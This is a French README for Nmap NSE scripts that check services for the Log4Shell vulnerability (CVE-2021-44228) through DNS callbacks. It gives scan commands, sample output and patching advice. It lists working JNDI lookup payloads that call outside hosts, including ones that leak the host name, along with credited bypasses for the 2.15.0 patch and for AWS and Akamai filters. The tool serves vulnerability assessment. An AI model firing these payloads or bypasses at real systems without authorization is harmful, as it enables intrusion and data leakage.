nse-log4shell

Scripts NSE pour Nmap permettant de vérifier les vulnérabilités log4shell ou LogJam (CVE-2021-44228). Les scripts NSE vérifient les services exposés les plus populaires sur Internet. Il s'agit d'un script de base dans lequel vous pouvez personnaliser le payload.

Exemples

Notez que les scripts NSE ne feront qu'envoyer les requêtes aux services. Nmap ne signalera pas les hôtes vulnérables ; vous devez consulter les journaux DNS pour déterminer la vulnérabilité. Si vous ne spécifiez pas de payload manuellement, les scripts NSE utiliseront dnslog.cn par défaut. Cela signifie que les requêtes seront visibles par dnslog.cn.

Démarrage rapide avec l'aide de dnslog.cn

Placez-vous dans le répertoire où se trouvent ces scripts et exécutez les commandes suivantes (Nmap récupérera dnslog.cn automatiquement).

Sous Linux :

cd nse-log4shell
nmap -sV -T4 -v --script=$PWD/ scanme.nmap.org

Sous Windows :

cd nse-log4shell
nmap -sV -T4 -v --script=%cd%/ scanme.nmap.org

Payloads à prendre en compte

Nouveau contournement du correctif sur v2.15.0 (CVE-2021-45046), merci à @marcioalm (tweet) :

${jndi:ldap://127.0.0.1#{{target}}.xxx.dnslog.cn:1389/a}

Contournement AWS (merci à @11xuxx - tweet) :

${jnd${123%25ff:-${123%25ff:-i:}}ldap://mydogsbutt.com:1389/o}

Contournement Akamai (merci à @ozgur_bbh - tweet) :

${jndi${123%25ff:-}:ldap://HOST:PORT/a}

Configuration manuelle

Exemple sous Windows (merci à @ZedFuzz) - notez comment échapper les guillemets :

nmap -v --script=http-log4shell,ssh-log4shell,imap-log4shell "--script-args=log4shell.payload=\"${jndi:ldap://{{target}}.xxxx.dnslog.cn}\"" -T4 -n --script-timeout=1m scanme.nmap.org

Avec l'aide de logdns (serveur DNS de journalisation personnalisé)

Rendez-vous sur http://github.com/kost/logdns et récupérez le serveur DNS. Obtenez un domaine et pointez-le vers l'endroit où vous avez installé logdns :

nmap --script=http-log4shell,ssh-log4shell,imap-log4shell  '--script-args=log4shell.payload="${jndi:ldap://{{target}}.xxxx.logdns.xxx}"' -T4 -n -p0-65535 -sV --script-timeout=1m MY.IPs.TO.SCAN

Avec l'aide de dnslog.cn

Rendez-vous sur http://dnslog.cn/ et obtenez un sous-domaine (Get SubDomain). Remplacez votre xxxx par votre sous-domaine :

nmap --script=http-log4shell,ssh-log4shell,imap-log4shell  '--script-args=log4shell.payload="${jndi:ldap://{{target}}.xxxx.dnslog.cn}"' -T4 -n -p0-65535 -sV --script-timeout=1m MY.IPs.TO.SCAN

Avec l'aide de Burp Collaborator

Récupérez votre domaine depuis Burp Collaborator et remplacez xxxx par votre domaine :

nmap --script=http-log4shell,ssh-log4shell,imap-log4shell  '--script-args=log4shell.payload="${jndi:ldap://{{target}}.xxxx.burpcollaborator.net/diverto}"' -T4 -n -p0-65535 -sV --script-timeout=1m MY.IPs.TO.SCAN

Avec l'aide de CanaryToken (https://canarytokens.org/generate#)

Récupérez votre jeton depuis CanaryToken et remplacez xxxx par votre domaine :

nmap --script=http-log4shell,ssh-log4shell,imap-log4shell  '--script-args=log4shell.payload="${jndi:ldap://x${hostName}.L4J.xxxx.canarytokens.com/a}"' -T4 -n -pssh,imap*,http* --script-timeout=1m MY.IPs.TO.SCAN

Merci à @saintz666

Méthode recommandée

dnslog.cn a des sessions courtes (environ une demi-heure). Il devrait y avoir un moyen de prolonger la session pour couvrir la durée du scan. De plus, parfois la requête DNS survient bien plus tard que la réception de la requête. Quelqu'un a signalé avoir reçu une requête DNS des heures après que la requête a été faite. En guise de contournement, les scripts NSE de nmap récupèrent la session après chaque hôte scanné.

Par conséquent, actuellement, pour une meilleure fiabilité, il est recommandé d'utiliser un domaine DNS personnalisé avec un outil comme logdns : https://github.com/kost/logdns

Exemple de sortie

nmap -T4 -v --script=$PWD/ scanme.nmap.org
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-15 12:37 CET
NSE: Loaded 5 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 12:37
Completed NSE at 12:37, 0.53s elapsed
Pre-scan script results:
| dnslog-cn:
|   Domain: 2t722h.dnslog.cn
|_  Manually retrieve: curl --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php
Initiating Ping Scan at 12:37
Scanning scanme.nmap.org (45.33.32.156) [2 ports]
Completed Ping Scan at 12:37, 0.18s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 12:37
Completed Parallel DNS resolution of 1 host. at 12:37, 1.18s elapsed
Initiating Connect Scan at 12:37
Scanning scanme.nmap.org (45.33.32.156) [1000 ports]
Discovered open port 80/tcp on 45.33.32.156
Discovered open port 53/tcp on 45.33.32.156
Discovered open port 22/tcp on 45.33.32.156
Stats: 0:00:23 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 56.00% done; ETC: 12:37 (0:00:16 remaining)
Discovered open port 9929/tcp on 45.33.32.156
Discovered open port 31337/tcp on 45.33.32.156
Completed Connect Scan at 12:37, 37.06s elapsed (1000 total ports)
NSE: Script scanning 45.33.32.156.
Initiating NSE at 12:37
Completed NSE at 12:37, 6.19s elapsed
Nmap scan report for scanme.nmap.org (45.33.32.156)
Host is up (0.18s latency).
Not shown: 995 closed tcp ports (conn-refused)
PORT      STATE SERVICE
22/tcp    open  ssh
53/tcp    open  domain
80/tcp    open  http
9929/tcp  open  nping-echo
31337/tcp open  Elite

Host script results:
| dnslog-cn:
|   List of hosts responded: []
|   Manually retrieve: curl --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php
|_  If list is not empty, check hosts as they are potentially vulnerable

NSE: Script Post-scanning.
Initiating NSE at 12:37
Completed NSE at 12:37, 0.50s elapsed
Post-scan script results:
| dnslog-cn:
|   List of hosts responded: []
|   Manually retrieve: curl --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php
|_  If list is not empty, check hosts as they are potentially vulnerable
Read data files from: /usr/local/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 46.11 seconds

Solution/Correctifs

Liste des meilleurs correctifs et contournements.

Meilleur correctif

La meilleure solution pour se protéger de CVE-2021-44228 : mettez à jour vers log4j-2.16.0 ou une version ultérieure.

Notez que log4j-2.15.0-rc1 n'est plus recommandé car de nouvelles vulnérabilités ont été découvertes. Par conséquent, vous devriez mettre à jour vers log4j-2.16.0 ou une version ultérieure (merci @ruppde).

Notez également que d'autres recommandations comme log4j2.formatMsgNoLookups défini sur true doivent être évitées.

Meilleure identification

Il est préférable d'identifier la vulnérabilité log4shell en recherchant les artefacts log4j sur le système de fichiers local.

Ces scripts NSE ne doivent être utilisés que pour une assurance supplémentaire. Les NSE aident à identifier les services vulnérables, pas les applications vulnérables. Ils peuvent identifier une application vulnérable si celle-ci journalise chaque requête (y compris la racine /), mais pas si la vulnérabilité est cachée derrière une authentification. Vous aurez besoin d'un scanner web qui explore l'intégralité du site pour cela.

Vous pouvez vérifier un URI spécifique avec l'exemple suivant : http-log4shell.url=/my/application/uri

Il vérifiera via les en-têtes HTTP et les cookies. Si vous devez vérifier les formulaires POST/GET, vous devriez consulter http-spider-log4shell. Néanmoins, il est préférable d'utiliser un scanner web avec prise en charge de log4j.